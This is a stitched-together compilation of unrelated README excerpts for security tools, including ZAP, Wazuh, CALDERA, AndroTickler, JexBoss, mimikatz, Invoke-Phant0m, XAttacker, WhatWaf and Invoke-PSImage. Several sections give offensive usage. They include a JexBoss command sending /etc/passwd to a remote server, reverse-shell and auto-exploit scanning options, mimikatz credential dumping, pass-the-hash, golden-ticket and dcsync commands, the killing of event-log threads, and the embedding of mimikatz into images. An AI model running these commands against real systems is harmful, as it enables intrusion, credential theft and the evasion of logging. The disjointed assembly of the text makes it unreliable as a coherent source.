• Home page - the official ZAP page on the OWASP wiki (includes a donate button;)
• Twitter - official ZAP announcements (low volume)
• Blog - official ZAP blog
• Monthly Newsletters - ZAP news, tutorials, 3rd party tools and featured contributors
• Swag! - official ZAP swag that you can buy, as well as all of the original artwork released under the CC License

• Getting Started Guide (pdf) - an introductory guide you can print
• Tutorial Videos
• Articles - that go into ZAP features in more depth
• Frequently Asked Questions
• User Guide - online version of the User Guide included with ZAP
• User Group - ask questions about using ZAP
• IRC: irc.mozilla.org #websectools (eg using Mibbit) - chat with core ZAP developers (European office hours usually best)
• Add-ons - help for the optional add-ons you can install
• StackOverflow - because some people use this for everything ;)

• Wiki
• Group
• Issue tracker
• Source code

• Source Code - for all of the ZAP related projects
• Wiki - lots of detailed info
• Developer Group - ask questions about the ZAP internals
• Crowdin (GUI) - help translate the ZAP GUI
• Crowdin (User Guide) - help translate the ZAP User Guide
• OpenHub - FOSS analytics
• BountySource - Vote on ZAP issues (you can also donate money here, but 10% taken out)
• Bug Bounty Program - please use this to report any potential vulnerabilities you find in ZAP

• Server
  • Planner - Decision engine allowing CALDERA to chose actions
    • Attacker Model - Actions available based on ATT&CK
    • World Model - Representation of the environment
  • Execution Engine - Drives actuation of techniques and updates the database
  • Database - Stores knowledge learned about the environment
  • HTTP Server
• Clients
• Agent - Client on endpoint systems used for communication
• RAT - Remote access tool used during operations to emulate adversary behavior

1. Update the world state
2. Figure out all valid actions to execute
3. Construct plans that lead off with those actions, chain actions together by leveraging model
4. Run heuristic to determine best plan
5. Execute the first action in the best plan
6. Repeat

• Log management and analysis: Wazuh agents read operating system and application logs, and securely forward them to a central manager for rule-based analysis and storage.
• File integrity monitoring: Wazuh monitors the file system, identifying changes in content, permissions, ownership, and attributes of files that you need to keep an eye on.
• Intrusion and anomaly detection: Agents scan the system looking for malware, rootkits or suspicious anomalies. They can detect hidden files, cloaked processes or unregistered network listeners, as well as inconsistencies in system call responses.
• Policy and compliance monitoring: Wazuh monitors configuration files to ensure they are compliant with your security policies, standards or hardening guides. Agents perform periodic scans to detect applications that are known to be vulnerable, unpatched, or insecurely configured.

• Wazuh was born as a fork of OSSEC HIDS. It contains many new features, improvements and bug fixes.
  
• Wazuh App is a rich web application (fully integrated as a Kibana app), for mining log analysis alerts and for monitoring and managing your Wazuh infrastructure.
  
• Wazuh Ruleset is our repository to centralize decoders, rules, rootchecks and SCAP content. The ruleset is used by the manager to detect attacks, intrusions, software misuse, configuration problems, application errors, malware, rootkits, system anomalies or security policy violations. Also, it includes the compliance mapping with PCI DSS v3.1 and CIS. Users can contribute to this rule set by submitting pull requests to our Github repository.
  
• Wazuh RESTful API is used to monitor and control your Wazuh installation, providing an interface to interact with the manager from anything that can send an HTTP request.
  
• Pre-compiled installation packages include repositories for RedHat, CentOS, Fedora, Debian, Ubuntu and Windows.
  
• Puppet scripts for automatic Wazuh deployment and configuration.
  
• Docker containers to virtualize and run your Wazuh manager and an all-in-one integration with ELK Stack.
  

• Full documentation
• Wazuh installation guide

• stable branch on correspond to the last Wazuh stable version.
• master branch contains the latest code, be aware of possible bugs on this branch.
• development branch includes all the new features we're adding and testing.

• Modified version of Zlib and a small part of OpenSSL (SHA1 and Blowfish libraries).
• OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/).
• Cryptographic software written by Eric Young (eay@cryptsoft.com).
• Software developed by the Zlib project (Jean-loup Gailly and Mark Adler).
• Software developed by the cJSON project (Dave Gamble).
• Node.js (Ryan Dahl).
• NPM packages Body Parser, Express, HTTP-Auth and Moment.

• Wazuh website
• OSSEC project website

• DataDir directory: a copy of the data directory of the app
• extracted directory: Output of apktool on the app, contains smali code, resources, libraries...etc.
• bgSnapshots directory: Contains background snapshots copied from the device.
• images directory: contains any screenshots taken for the app.
• JavaCode directory: Contains app's Java code decompiled by dex2jar and JD tools
• logs directory: contains log files produced by -t -log, as explained below
• transfers: files and directories copied from the device to the host using -copy2host
• AndroidManifest.xml: The manifest file of the app as per apktool
• base.apk: the APK file of the app, installed on the device
• debuggable.apk: a debuggable version of the app, produced by -dbg

• Java 7 or higher
• Android SDK tools (adb and friends)
• sqlite3

• Frida
• jarsigner

1. Build tool from code
2. Move AndroTickler.jar is to the same directory as Tickler_lib directory and Tickler.conf file (automatically created in build/libs)
3. Connect your Android device with the application-to-test installed on

curl -s "https://get.sdkman.io" | bash
source "$HOME/.sdkman/bin/sdkman-init.sh"
sdk install gradle 4.4
git clone https://github.com/ernw/AndroTickler
cd AndroTickler
gradle build

java -jar AndroTickler.jar -h

java -jar AndroTickler.jar -pkgs

java -jar AndroTickler.jar -findPkg <searchKey>

java -jar AndroTickler.jar -pkg <package> [other options]

• Copies the app from the device
• Extracts the Manifest file of the app
• Decompiles the app to Java code using dex2jar and JD tools

java -jar AndroTickler.jar -pkg <package> -info

• App's user ID
• App's Directories path
• If the app's code indicate usage of external storage
• App's directories that already exist in External storage
• Content URIs in the code
• If the app is backable
• If the app is debuggable
• Data schemes (like iOS IPC)
• The permissions it uses

java -jar AndroTickler.jar -pkg <package> -squeeze [short | <codeLocation> ]

• Log messages
• Any indication of possible user credentials
• Java comments
• Used libs
• URLs in code
• Usage of shared preferences
• Usage of external storage
• Common components such as OkHttp and WebView

java -jar AndroTickler.jar -pkg <package> -l [-exp] [-v]

• Component type
• Whether exported or not
• Its intent filters
• The tool checks the corresponding Java class to each component and returns all possible intent extras

java -jar AndroTickler.jar -pkg <package> -l [-act | -ser | -rec | -prov ] [-exp] [-v]

• -act : activities
• -ser : services
• -rec: broadcast receivers
• -prov: Content providers
• -exp: show only exported components of any of the above type

java -jar AndroTickler.jar -pkg <package> -db [|e|l|d] [nu]

java -jar AndroTickler.jar -pkg <package> -diff [d|detailed]

java -jar AndroTickler.jar -pkg <package> -sc <key> [<customLocation>]

• The decompiled Java code of the app
• res/values/strings.xml
• res/values/arrays.xml

java -jar AndroTickler.jar -pkg <package> -sd <key>

java -jar AndroTickler.jar -pkg <package> -t [-all | -exp] [target] [-log]

• -act : activities. starts the (activity/activities) with all intent combinations as explained above
• -ser : services. starts the service(s) with all intent combinations as explained above
• -rec: broadcast receivers: sends all possible broadcast messages that would match the broadcast receiver(s)
• -prov: Content providers: queries the content provider(s)

java -jar AndroTickler.jar -pkg <package> -frida vals <ClassName> <MethodName> <NumberOfArgs> [-reuse]

java -jar AndroTickler.jar -pkg <package> -frida set <ClassName> <MethodName> <NumberOfArgs> <NumberOfArgToModify> <newValue>[-reuse]

java -jar AndroTickler.jar -pkg <package> -frida script <scriptPath>

java -jar AndroTickler.jar -pkg <package> -frida enum

java -jar AndroTickler.jar -pkg <package> -dbg

java -jar AndroTickler.jar -pkg <package> -apk <decompiledDirectory>

java -jar AndroTickler.jar [-pkg <package>] [-bg|--bgSnapshots]

java -jar AndroTickler.jar -pkg <package> -dataDir  [dest]

java -jar AndroTickler.jar -pkg <package> -cp2host <source_path> [dest]

• source_path is the absolute location of what you want to copy from the android device
• dest: optional name of the destination directory, which will be located anyway at transfers sudirectory.

java -jar AndroTickler.jar [-pkg <package>] -screen

• Captures the current screenshot of the device and saves them in images subdirectory
• Works with or without the package flag

java -jar AndroTickler.jar -pkg <package> -t  -act -exp

java -jar AndroTickler.jar -pkg <package> -t -prov -log

java -jar AndroTickler.jar -pkg <package> -t <component_name> 

PS C:\> Invoke-Phant0m
        _                 _    ___
  _ __ | |__   __ _ _ __ | |_ / _ \ _ __ ___
 | '_ \| '_ \ / _` | '_ \| __| | | | '_ ` _ \
 | |_) | | | | (_| | | | | |_| |_| | | | | | |
 | .__/|_| |_|\__,_|_| |_|\__|\___/|_| |_| |_|
 |_|


[!] I'm here to blur the line between life and death...

[*] Enumerating threads of PID: 1000...
[*] Parsing Event Log Service Threads...
[+] Thread 1001 Succesfully Killed!
[+] Thread 1002 Succesfully Killed!
[+] Thread 1003 Succesfully Killed!
[+] Thread 1004 Succesfully Killed!

[+] All done, you are ready to go!

• Python >= 2.7.x
• urllib3
• ipaddress

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

OR:

Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

• Download and install Python
• Download and install Git for Windows
• After installing, run the Git for Windows and type the following commands:

    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080

• JBoss Application Server versions: 3, 4, 5 and 6.
• Java Deserialization Vulnerabilities in multiple java frameworks, platforms and applications (e.g., Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), etc)

• /admin-console
  • tested and working in JBoss versions 5 and 6
• /jmx-console
  • tested and working in JBoss versions 4, 5 and 6
• /web-console/Invoker
  • tested and working in JBoss versions 4, 5 and 6
• /invoker/JMXInvokerServlet
  • tested and working in JBoss versions 4, 5 and 6
• Application Deserialization
  • tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
• Servlet Deserialization
  • tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an "Invoker" in a link)
• Apache Struts2 CVE-2017-5638
  • tested in Apache Struts 2 applications
• Others

• Exploiting Java Deserialization Vulnerabilities (RCE) on JSF/Seam Applications via javax.faces.ViewState with JexBoss

• Exploiting JBoss Application Server with JexBoss

• Exploiting Apache Struts2 (RCE) with Jexboss (CVE-2017-5638)

• Simple usage examples:

$ python jexboss.py

• Example of standalone mode against JBoss:

$ python jexboss.py -u http://192.168.0.26:8080

• Usage modes:

$ python jexboss.py -h

• Network scan mode:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

• Network scan with auto-exploit mode:

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

• Results and recommendations:

   jexremote=YOUR_IP:YOUR_PORT

   Example:
     Shell>jexremote=192.168.0.10:4444

• Example:

• For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server:

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'

• For Java Deserialization Vulnerabilities in a custom HTTP parameter and to make a reverse shell (this will ask for an IP address and port of your remote host):

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name

• For Java Deserialization Vulnerabilities in a Servlet (like Invoker):

$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize

• For Apache Struts 2 (CVE-2017-5638)

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2

• For Apache Struts 2 (CVE-2017-5638) with cookies for authenticated resources

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"

• Auto scan mode:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log

• File scan mode:

$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log

• More Options:

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit
  --auto-exploit, -A    Send exploit code automatically (USE ONLY IF YOU HAVE
                        PERMISSION!!!)
  --disable-check-updates, -D
                        Disable two updates checks: 1) Check for updates
                        performed by the webshell in exploited server at
                        http://webshell.jexboss.net/jsp_version.txt and 2)
                        check for updates performed by the jexboss client at
                        http://joaomatosf.com/rnp/releases.txt
  -mode {standalone,auto-scan,file-scan}
                        Operation mode (DEFAULT: standalone)
  --app-unserialize, -j
                        Check for java unserialization vulnerabilities in HTTP
                        parameters (eg. javax.faces.ViewState, oldFormData,
                        etc)
  --servlet-unserialize, -l
                        Check for java unserialization vulnerabilities in
                        Servlets (like Invoker interfaces)
  --jboss               Check only for JBOSS vectors.
  --jenkins             Check only for Jenkins CLI vector.
  --jmxtomcat           Check JMX JmxRemoteLifecycleListener in Tomcat
                        (CVE-2016-8735 and CVE-2016-8735). OBS: Will not be
                        checked by default.
  --proxy PROXY, -P PROXY
                        Use a http proxy to connect to the target URL (eg. -P
                        http://192.168.0.1:3128)
  --proxy-cred LOGIN:PASS, -L LOGIN:PASS
                        Proxy authentication credentials (eg -L name:password)
  --jboss-login LOGIN:PASS, -J LOGIN:PASS
                        JBoss login and password for exploit admin-console in
                        JBoss 5 and JBoss 6 (default: admin:admin)
  --timeout TIMEOUT     Seconds to wait before timeout connection (default 3)

Standalone mode:
  -host HOST, -u HOST   Host address to be checked (eg. -u
                        http://192.168.0.10:8080)

Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER):
  --reverse-host RHOST:RPORT, -r RHOST:RPORT
                        Remote host address and port for reverse shell when
                        exploiting Java Deserialization Vulnerabilities in
                        application layer (for now, working only against *nix
                        systems)(eg. 192.168.0.10:1331)
  --cmd CMD, -x CMD     Send specific command to run on target (eg. curl -d
                        @/etc/passwd http://your_server)
  --windows, -w         Specifies that the commands are for rWINDOWS System$
                        (cmd.exe)
  --post-parameter PARAMETER, -H PARAMETER
                        Specify the parameter to find and inject serialized
                        objects into it. (egs. -H javax.faces.ViewState or -H
                        oldFormData (<- Hi PayPal =X) or others) (DEFAULT:
                        javax.faces.ViewState)
  --show-payload, -t    Print the generated payload.
  --gadget {commons-collections3.1,commons-collections4.0,groovy1}
                        Specify the type of Gadget to generate the payload
                        automatically. (DEFAULT: commons-collections3.1 or
                        groovy1 for JenKins)
  --load-gadget FILENAME
                        Provide your own gadget from file (a java serialized
                        object in RAW mode)
  --force, -F           Force send java serialized gadgets to URL informed in
                        -u parameter. This will send the payload in multiple
                        formats (eg. RAW, GZIPED and BASE64) and with
                        different Content-Types.

Auto scan mode:
  -network NETWORK      Network to be checked in CIDR format (eg. 10.0.0.0/8)
  -ports PORTS          List of ports separated by commas to be checked for
                        each host (eg. 8080,8443,8888,80,443)
  -results FILENAME     File name to store the auto scan results

File scan mode:
  -file FILENAME_HOSTS  Filename with host list to be scanned (one host per
                        line)
  -out FILENAME_RESULTS
                        File name to store the file scan results

make
sudo make install

Usage of gowpt:
  -H value
     A list of additional headers
  -a string
     Basic authentication (user:password)
  -c string
     A list of cookies
  -d string
     POST data for request
  -e string
     A list of comma separated encoders (default "plain")
  -f string
     Filter the results
  -from-proxy
     Get the request via a proxy server
  -fuzz
     Use the built-in fuzzer
  -p string
     Use upstream proxy
  -ssl
     Use SSL
  -t string
     Template for request
  -threads int
     Number of threads (default 10)
  -u string
     URL to fuzz
  -w string
     Wordlist file
  -x string
     Extension file example.js

gowpt -u "http://www.example.com/FUZZ" -w wordlist/general/common.txt -f "code == 200"

gowpt -u "http://www.example.com/?vuln=FUZZ" -w wordlist/Injections/XSS.txt -f "tags > 200"

gowpt -u "http://www.example.com/" -d "vuln=FUZZ" -w wordlist/Injections/XSS.txt -f "tags > 200"

gowpt -u "http://www.example.com/FUZZ" -w wordlist/general/common.txt -f "code == 200" -a "user:password"

gowpt -u "http://www.example.com/FUZZ" -w wordlist/general/common.txt -f "code == 200" -H "Hello: world"

gowpt -u "http://www.example.com/FUZZ" -w wordlist/general/common.txt -a "guest:guest"

gowpt -u "http://www.example.com/FUZZ" -w wordlist/general/common.txt -x myextension.js

gowpt --from-proxy -w wordlist/general/common.txt

• A request/response object
• A result object
• A flag object that indicate whenever the first object is a request or a response

/*
* Create a custom encoder called helloworld
*
* This encore just add the string "_helloworld" to every payload
* coming from the wordlist
*/
addCustomEncoder("helloworld", myenc);
/*
* Define the callback method for the helloworld encoder
*/
function myenc(data) {
 return data + "_helloword";
}
/*
* Create an HTTP interceptor
*
* The interceptor will hook every request / response
* is possible to modify request before send it, anyway the respose item
* it's just shadow copy of the one received from the server so no modification
* are possible
*
*
* request_response is an object which may contains both http.Request
* or http.Response , to know which on is contained check is_request flag
*
* REMEMBER! request_response is an http.* object so you must interact with
* this one just like you would do in golang!
*
* dumpResponse is a built-in function which dump full request-response to
* disk.
* result is an object filled with stats about the response it contains some fields
*
* result.tags => Number of tags in the response
* result.code => HTTP Response status
* result.words => Number of words in the response
* result.lines => Number of lines in the response
* result.chars => Number of chars in the response
* result.request => Full dump of the request
* result.response => Full dump of the response
* result.response => The injected payload
*
*/
setHTTPInterceptor(function(request_response, result, is_request){
 if(is_request){
  request_response.Header.Set("Hello", "world")
 }else{
  dumpResponse(request_response, "/tmp/dump.txt")
  /*
  * Send an HTTP request in a synchronous way
  *
  * This API accept 4 parameters:
  * method => GET | POST | HEAD | PUT | PATCH | UPDATE
  * url => The url of the HTTP service
  * post_data => The content of request bodyBytes
  * headers => A javascript dictionary {headerName => headerValue}
  *
  * The response object may be null or undefined or an http.Response from golang
  */
  var response = sendRequestSync("GET", "http://example.com/", null, {"Fake": "Header"})
 }
})

• url (URL encode)
• urlurl (Double URL encode)
• html (HTML encode)
• htmlhex (HTML hex encode)
• unicode (Unicode encode)
• hex (Hex encode)
• md5hash (MD5 hash)
• sha1hash (SHA1 hash)
• sha2hash (SHA2 hash)
• b64 (Base64 encode)
• b32 (Base32 encode)
• plain (No encoding)

• tags (Number of tags)
• lines (Number of lines of response body)
• words (Number of words of response body)
• length (Size of response body)
• code (HTTP status code)
• chars (Number of chars of response body)

• NtClose: ref: The "Ultimate" Anti-Debugging Reference: 7.B.ii
• NtOpenProcess: ref: The "Ultimate" Anti-Debugging Reference: 7.B.i
• NtCreateFile: ref: The "Ultimate" Anti-Debugging Reference: 7.B.iii (Open itself)
• NtCreateFile: ref: The "Ultimate" Anti-Debugging Reference: 7.B.iii (Open a driver)
• LdrLoadDll- ref: The "Ultimate" Anti-Debugging Reference: 7.B.iv
• NtSetDebugFilterState - ref: The "Ultimate" Anti-Debugging Reference: 7.D.vi
• NtQueryInformationProcess - ref: The "Ultimate" Anti-Debugging Reference: 7.D.viii.a, 7.D.viii.b, 7.D.viii.c
• NtQuerySystemInformation - ref: The "Ultimate" Anti-Debugging Reference: 7.E.iii
• NtSetInformationThread - ref: The "Ultimate" Anti-Debugging Reference 7.F.iii
• NtCreateUserProcess - ref: The "Ultimate" Anti-Debugging Reference 7.G.i
• NtCreateThreadEx - ref: ntuery blog post
• NtSystemDebugControl - ref: @waleedassar - pastebin
• NtYieldExecution - ref: The "Ultimate" Anti-Debugging Reference 7.D.xiii
• NtSetLdtEntries - ref: ANTI-UNPACKER TRICKS: PART ONE - 2.1.2

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  13 modules * * */


mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...

log
privilege::debug

sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

crypto::keys /export
crypto::keys /machine /export

vault::cred
vault::list

token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

lsadump::dcsync /user:domain\krbtgt /domain:lab.local

• Ability to run on a single URL with the -u/--url flag
• Ability to run through a list of URL's with the -l/--list flag
• Ability to detect over 40 different firewalls
• Ability to try over 20 different tampering techniques
• Ability to pass your own payloads either from a file or from the terminal
• Payloads that are guaranteed to produce at least one WAF triggering
• Ability to bypass firewalls using both SQLi techniques and cross site scripting techniques
• Ability to run behind Tor
• Ability to run behind multiple proxy types (socks4, socks5, http, https)
• Ability to use a random user agent, personal user agent, or custom default user agent
• More to come...

sudo -s << EOF
git clone https://github.com/ekultek/whatwaf.git
cd whatwaf
chmod +x whatwaf.py
pip2 install -r requirements.txt
./whatwaf.py --help

• First Ever Tool With Added Support For Mongo,Couch,Redis,H-Base,Cassandra
• Support For NoSQL WebAPPS
• Added payload list for JS Injection,Web application Enumeration.
• Scan Support for Mongo,CouchDB and Redis
• Dictionary Attack Support for Mongo,Cocuh and Redis
• Enumeration Module added for the DB's,retrieves data in db's @ one shot.
• Currently Discover's Web Interface for Mongo
• Shodan Query Feature
• MultiThreaded IP List Scanner
• Dump and Copy Database features Added for CouchDB
• Sniff for Mongo,Couch and Redis

• Modularised approach, Now comes with Configuration file, tweak to your customization
• Multithreaded dictionary attacks,file enumeration
• Support for Heuristic based Redis remote file enumeration,Added Redis System enumeration
• Now select Databases depending upon options -d "Database" -t "table" -d "Dump"
• Improved Scan Support for Mongo,CouchDB,Redis,Cassandra and H-Base
• Improved dump feature
• Bug fixes

• Install Pip, sudo apt-get install python-setuptools;easy_install pip
• pip install -r requirements.txt
• python nosqlframework.py -h (For Help Options)

• Removed the scapy module by default for mac. So this should run by default. If you need to sniff run the script and then continue.
• Run installformac-kali.sh directly
• python nosqlframework.py -h (For Help Options)

• virtualenv nosqlframework
• source nosqlframework/bin/activate
• pip install -r requirements.txt
• nosqlframework/bin/python nosqlframework.py -h (For Help Options)
• deactivate (After usage)

nosqlframework.py -ip localhost -scan
nosqlframework.py -ip localhost -dict mongo -file b.txt
nosqlframework.py -ip localhost -enum couch
nosqlframework.py -ip localhost -enum redis
nosqlframework.py -ip localhost -clone couch

• Network Invisibility
• Network Anonymity
• Protects from MITM/DOS
• Transparent
• Cross-platform
• Minimalistic

• Linux 2.4.26+ - will work on any Linux-based OS, including Whonix and RaspberryPI
• BASH - the whole script
• root privileges - for kernel controlling

• You can still be found with VLAN logs if using ethernet or by triangulation/broadcast if using WiFi
• MAC spoofing won't work if appropriate mitigations has been taken, like DAI or sticky MAC
• Might be buggy with some CISCO switches
• Not suitable for production servers

A >>> I need MAC address of B >>> B

A <<< Here it is <<< B

A <<< I need MAC address of A <<< B

A >>> I'm not giving it >>> B

sudo GhostInTheNet.sh on eth0

sudo GhostInTheNet.sh off eth0

chmod u+x GhostInTheNet.sh

git clone https://github.com/Moham3dRiahi/XAttacker.git

• [1] WordPress :
• [+] Adblock Blocker
• [+] WP All Import
• [+] Blaze
• [+] Catpro
• [+] Cherry Plugin
• [+] Download Manager
• [+] Formcraft
• [+] levoslideshow
• [+] Power Zoomer
• [+] Gravity Forms
• [+] Revslider Upload Shell
• [+] Revslider Dafece Ajax
• [+] Revslider Get Config
• [+] Showbiz
• [+] Simple Ads Manager
• [+] Slide Show Pro
• [+] WP Mobile Detector
• [+] Wysija
• [+] InBoundio Marketing
• [+] dzs-zoomsounds
• [+] Reflex Gallery
• [+] Creative Contact Form
• [+] Work The Flow File Upload
• [+] WP Job Manger
• [+] PHP Event Calendar
• [+] Synoptic
• [+] Wp Shop
• [+] Content Injection
• [2] Joomla
• [+] Com Jce
• [+] Com Media
• [+] Com Jdownloads
• [+] Com Fabrik
• [+] Com Jdownloads Index
• [+] Com Foxcontact
• [+] Com Ads Manager
• [+] Com Blog
• [+] Com Users
• [+] Com Weblinks
• [+] mod_simplefileupload
• [3] DruPal
• [+] Add Admin
• [4] PrestaShop
• [+] columnadverts
• [+] soopamobile
• [+] soopabanners
• [+] Vtermslideshow
• [+] simpleslideshow
• [+] productpageadverts
• [+] homepageadvertise
• [+] homepageadvertise2
• [+] jro_homepageadvertise
• [+] attributewizardpro
• [+] 1attributewizardpro
• [+] AttributewizardproOLD
• [+] attributewizardpro_x
• [+] advancedslider
• [+] cartabandonmentpro
• [+] cartabandonmentproOld
• [+] videostab
• [+] wg24themeadministration
• [+] fieldvmegamenu
• [+] wdoptionpanel
• [+] pk_flexmenu
• [+] pk_vertflexmenu
• [+] nvn_export_orders
• [+] megamenu
• [+] tdpsthemeoptionpanel
• [+] psmodthemeoptionpanel
• [+] masseditproduct
• [5] Lokomedia
• SQL injection

perl XAttacker.pl -l list.txt

perl XAttacker.pl

use Win32::Console::ANSI;

wget https://raw.githubusercontent.com/simonclausen/dnscrypt-autoinstall/master/dnscrypt-autoinstall
chmod +x dnscrypt-autoinstall
su -c ./dnscrypt-autoinstall

./dnscrypt-autoinstall.sh forcedel

$ cd /opt/
$ git clone https://github.com/6IX7ine/certstreamcatcher.git
$ cd certstreamcatcher
$ npm install

npm install --save certstreamcatcher

const certstreamcatcher = require('certstreamcatcher'); 
const certstream = require("certstream");

const regex = /(wellsfargo|paypal|login|sign-in|secure|update|money|sslsecure||amazon|)/gi; # Keywords

const tlds = ['.io','.gq','.ml','.cf','.tk','.xyz','.pw','.cc']; # tlds 

var client = new certstream(function(certstream) {  
 certstreamcatcher.certstreamClientPhishing(certstream, regex, tlds, {tlds: true});
});

client.connect();

$ node certstreamcatcher.js

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-kiwi.png
   [Oneliner to execute from a file]

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-kiwi.png -Web
   [Oneliner to execute from the web]

• libbluetooth-dev on Ubuntu
• bluez-libs-devel on Fedora
• bluez-devel on openSUSE

wget https://github.com/andrewmichaelsmith/bluepot/raw/master/bin/bluepot-0.1.tar.gz
tar xfz bluepot-0.1.tar.gz
sudo java -jar bluepot/BluePot-0.1.jar